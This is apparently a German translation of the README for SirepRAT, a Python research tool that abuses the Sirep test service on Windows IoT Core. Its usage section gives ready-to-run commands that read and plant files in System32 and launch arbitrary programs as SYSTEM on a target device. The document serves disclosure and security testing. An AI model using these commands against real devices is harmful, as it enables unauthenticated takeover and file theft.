SirepRAT - RCE als SYSTEM auf Windows IoT Core

SirepRAT bietet vollständige RAT-Fähigkeiten, ohne dass eine echte RAT-Malware auf dem Ziel installiert werden muss.

Kontext

Die Methode nutzt den Sirep Test Service aus, der in den offiziellen Images integriert ist und auf ihnen läuft, die auf der Microsoft-Website angeboten werden. Dieser Dienst ist der Client-Teil des HLK-Setups, das man erstellen kann, um Treiber-/Hardwaretests auf dem IoT-Gerät durchzuführen. Er stellt das Sirep/WPCon/TShell-Protokoll bereit.

Wir haben das Sirep/WPCon-Protokoll analysiert und gezeigt, wie dieses Protokoll Angreifern eine entfernte Befehlschnittstelle bereitstellt, die RAT-Fähigkeiten umfasst, wie das Abrufen/Ablegen beliebiger Dateien an beliebigen Orten und das Erlangen von Systeminformationen.

Auf der Grundlage der Erkenntnisse, die wir aus dieser Forschung über den Dienst und das Protokoll gewonnen haben, haben wir ein einfaches Python-Tool entwickelt, das deren Ausnutzung mithilfe der verschiedenen unterstützten Befehle ermöglicht. Wir haben es SirepRAT genannt.

Es verfügt über eine einfache und intuitive Benutzeroberfläche zum Senden von Befehlen an ein Windows-IoT-Core-Zielgerät. Es funktioniert auf jedem kabelgebundenen Gerät, auf dem Windows IoT Core mit einem offiziellen Microsoft-Image läuft.

Folien und Whitepaper

Folien und das Forschungs-Whitepaper befinden sich im docs-Ordner

Einrichtung

pip install -r requirements.txt

Verwendung

Datei herunterladen

python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v

Datei hochladen

python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"

Beliebiges Programm ausführen

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"

Mit Argumenten, ausgeführt als der aktuell angemeldete Benutzer:

python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

(Versuchen Sie, es ohne das Flag as_logged_on_user auszuführen, um die Ausführung als SYSTEM zu demonstrieren)

Systeminformationen abrufen

python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice

Dateiinformationen abrufen

python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"

Siehe Hilfe für vollständige Details:

python SirepRAT.py --help

Autor

Dor Azouri (@bemikre)

Mitwirkende

movatica (@movatica) - Portierung auf Python 3! (an der Ziellinie 2020)

Lizenz

BSD 3 - Lizenz mit der Klausel „New“ oder „Revised“